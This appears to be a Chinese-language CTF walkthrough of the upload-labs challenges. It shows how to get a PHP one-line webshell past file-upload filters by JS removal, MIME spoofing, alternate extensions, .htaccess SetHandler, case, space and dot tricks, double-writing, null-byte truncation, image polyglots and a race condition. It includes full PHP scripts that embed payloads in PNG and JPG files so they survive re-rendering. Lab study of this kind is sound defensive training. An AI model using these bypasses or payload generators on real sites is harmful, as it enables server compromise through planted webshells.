赞
踩
我们本关的任务是上传一个webshell,当我们上传php文件的时候,会直接阻止
我们去看看很明显这个是对前端进行验证的代码
那我们直接进入开发者模式可以清楚的看到checkFile()【文件类型校验函数】
那就很简单了,我们删除校验改为true,即可成功上传我们的php
上传成功:
看看结果
第二种方法,我们可以使用burp抓包实现,先上传一个.jpg正常的文件但是内容是一句话木马,抓包后修改后缀放行也可实现
第三种方法:关闭网页的js攻能,这样js也被我们绕过了
我们现在重新进行提交
原因:前端进行js校验,白名单验证
我们先看看源码是什么,很明显pass2种在服务端对数据包的MIME进行检查!
那我们本关通关的方法就很明确了,修改MIME类型值就可以达到上传的效果
显示结果(我这里后台显示已上传)
先看pass要求
源码进行溯源
很明显我们一上传就出错,但是我们可以上传.php5后缀的文件而这里就要给大家补充知识点了
pass:PHP的扩展名不只有.php还有.php3、.php5、.phtml等
用的Apache:我们修改Apache配置文件,把注释改为允许即可,Ctrl+F,搜索.phtml即可
用的Nginx:nginx可以直接解析.php5文件不用管
结果:
修改文件名php3
可以看到上传成功了
看一下要求
看看源码
限制挺多不过想到apache和Nginx下都支持.htaccss文件(支持网站重定向的) ,而这个文件有三个特殊函数其中一个
Sethandler application/x-httpd-php
让所有文件都以php文件执行
那我先上传.htaccss文件上去
上传一句话木马,但是是jpg形式
此时便上传成功且可以执行我们的一句话木马
好了04关卡被限制了
但是代码很明显没有统一大小写
大写直接绕过(php不区分大小写)
好了大小写也回来了
那怎么过?,给php文件后缀加一个空格
因为Windows有特性会自动把后缀后面的空格删除掉,我们抓包进行处理
很明显空格出现了
上传成功
pass:文件命名方式(日期加4位随机数)
后面四位不知道怎么办??
抓包去处理(前提:系统是开源的)
很明显8172爆破成功
跟06相比很容易看出来它没有去点
因为在Windows下.和空格都会被当做非法字符处理掉,但是白名单可以绕过
很明显我上传成功了
很明显没有去除特殊字符串
很明显上传成功了
先查看一下它的代码
很明显几乎全都过滤了
那我们利用代码思路的错误去拼接我们穿一个文件web.php点空格点
自然成功
把黑名单中文件名替换成空了
那这个时候就需要我们通过双写来进行绕过了,当我上传一个111pphphp文件时,因为源码的替换为空原因导致我中间的php被删除,而之后的后缀通过拼接变成了一个新的php文件
上传之后在后台就是
因此通过双写我们对于源码更换为空的代码进行了替换拼接,成功上传我们的一句话恶意代码
看看源码:
开始抓包
修改上传路径为demo.php
发包不行,直接上传失败,那接下来我们就要思考%00截断问题(要求php版本<5.3.4.)
之后便显示我们成功了
%00截断失效,因为是post传参,不是url地址传参,因此我们需要16进制截断
那我们就url编码好再进行传参
最后自然也就成功了
看看源码只读取前两个字节
准备个jpg,准备个php
通过cmd的copy将两个整合到一起
很明显我们的图片中带有了恶意代码
成功上传
之后利用文件包含漏洞即可直接执行
这里有一点,我们需要把远程包含文件这个代码打开
之后通过包含文件便可成功
不能说与第十三关完全相同,只能说是一模一样
与13,14关做法相同
看看源码,把你图片元素打散了
好了一句话木马不在了
那怎么办,因为只打散了一部分,我们插入到它未打散的地方不就可以了
咱们上传之后进行比对,看两个文件有什么是没变的那就是我们插入一句话木马的地方
我们手动写入图片没变的位置 (找到没打散的图片)
上传自然成功
换汤不换药
上传
对比
很明显这样不行了,在我参考国外大牛的文章后,最好的方法就是用代码生成一个png图片
- <?php
- $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
- 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
- 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
- 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
- 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
- 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
- 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
- 0x66, 0x44, 0x50, 0x33);
-
-
-
- $img = imagecreatetruecolor(32, 32);
-
- for ($y = 0; $y < sizeof($p); $y += 3) {
- $r = $p[$y];
- $g = $p[$y+1];
- $b = $p[$y+2];
- $color = imagecolorallocate($img, $r, $g, $b);
- imagesetpixel($img, round($y / 3), 0, $color);
- }
-
- imagepng($img,'./1.png');
- ?>
这里可以看到确实是生成了
很明显一句话木马的渲染没有丢失
很明显这里直接成功了
当然我们也可以蚁剑直接连接一句话木马
这里也使用国外大牛的代码
- <?php
- /*
- The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
- It is necessary that the size and quality of the initial image are the same as those of the processed image.
- 1) Upload an arbitrary image via secured files upload script
- 2) Save the processed image and launch:
- jpg_payload.php <jpg_name.jpg>
- In case of successful injection you will get a specially crafted image, which should be uploaded again.
- Since the most straightforward injection method is used, the following problems can occur:
- 1) After the second processing the injected data may become partially corrupted.
- 2) The jpg_payload.php script outputs "Something's wrong".
- If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
- Sergey Bobrov @Black2Fan.
- See also:
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- */
-
- $miniPayload = "<?=phpinfo();?>";
-
-
- if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
- die('php-gd is not installed');
- }
-
- if(!isset($argv[1])) {
- die('php jpg_payload.php <jpg_name.jpg>');
- }
-
- set_error_handler("custom_error_handler");
-
- for($pad = 0; $pad < 1024; $pad++) {
- $nullbytePayloadSize = $pad;
- $dis = new DataInputStream($argv[1]);
- $outStream = file_get_contents($argv[1]);
- $extraBytes = 0;
- $correctImage = TRUE;
-
- if($dis->readShort() != 0xFFD8) {
- die('Incorrect SOI marker');
- }
-
- while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
- $marker = $dis->readByte();
- $size = $dis->readShort() - 2;
- $dis->skip($size);
- if($marker === 0xDA) {
- $startPos = $dis->seek();
- $outStreamTmp =
- substr($outStream, 0, $startPos) .
- $miniPayload .
- str_repeat("\0",$nullbytePayloadSize) .
- substr($outStream, $startPos);
- checkImage('_'.$argv[1], $outStreamTmp, TRUE);
- if($extraBytes !== 0) {
- while((!$dis->eof())) {
- if($dis->readByte() === 0xFF) {
- if($dis->readByte !== 0x00) {
- break;
- }
- }
- }
- $stopPos = $dis->seek() - 2;
- $imageStreamSize = $stopPos - $startPos;
- $outStream =
- substr($outStream, 0, $startPos) .
- $miniPayload .
- substr(
- str_repeat("\0",$nullbytePayloadSize).
- substr($outStream, $startPos, $imageStreamSize),
- 0,
- $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
- substr($outStream, $stopPos);
- } elseif($correctImage) {
- $outStream = $outStreamTmp;
- } else {
- break;
- }
- if(checkImage('payload_'.$argv[1], $outStream)) {
- die('Success!');
- } else {
- break;
- }
- }
- }
- }
- unlink('payload_'.$argv[1]);
- die('Something\'s wrong');
-
- function checkImage($filename, $data, $unlink = FALSE) {
- global $correctImage;
- file_put_contents($filename, $data);
- $correctImage = TRUE;
- imagecreatefromjpeg($filename);
- if($unlink)
- unlink($filename);
- return $correctImage;
- }
-
- function custom_error_handler($errno, $errstr, $errfile, $errline) {
- global $extraBytes, $correctImage;
- $correctImage = FALSE;
- if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
- if(isset($m[1])) {
- $extraBytes = (int)$m[1];
- }
- }
- }
-
- class DataInputStream {
- private $binData;
- private $order;
- private $size;
-
- public function __construct($filename, $order = false, $fromString = false) {
- $this->binData = '';
- $this->order = $order;
- if(!$fromString) {
- if(!file_exists($filename) || !is_file($filename))
- die('File not exists ['.$filename.']');
- $this->binData = file_get_contents($filename);
- } else {
- $this->binData = $filename;
- }
- $this->size = strlen($this->binData);
- }
-
- public function seek() {
- return ($this->size - strlen($this->binData));
- }
-
- public function skip($skip) {
- $this->binData = substr($this->binData, $skip);
- }
-
- public function readByte() {
- if($this->eof()) {
- die('End Of File');
- }
- $byte = substr($this->binData, 0, 1);
- $this->binData = substr($this->binData, 1);
- return ord($byte);
- }
-
- public function readShort() {
- if(strlen($this->binData) < 2) {
- die('End Of File');
- }
- $short = substr($this->binData, 0, 2);
- $this->binData = substr($this->binData, 2);
- if($this->order) {
- $short = (ord($short[1]) << 8) + ord($short[0]);
- } else {
- $short = (ord($short[0]) << 8) + ord($short[1]);
- }
- return $short;
- }
-
- public function eof() {
- return !$this->binData||(strlen($this->binData) === 0);
- }
- }
- ?>
首先随便找一张jpg照片,先上传一个,之后保存,用php代码合成
成功上传(这里需要注意的是,jpg比较特殊,有时候我们的恶意函数还是会被删除,所以需要多次尝试)
终于在第三次尝试下我成功了
看看源码:白名单
他的问题在于先上传后删除
如此
我们在上传访问后就自动生成了
那我们开始实操
抓包然后暴力破解模块访问1000次,我们浏览器这边手动刷新
很明显生成了
跟17关类似,只是文件名限制了,图片马即可以
与前几关类似,抓包加个后缀即可
move_uploaded_file()这样一个函数,特性忽略文件末尾的/.,直接上传1.png,抓包,在末尾加上/.
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。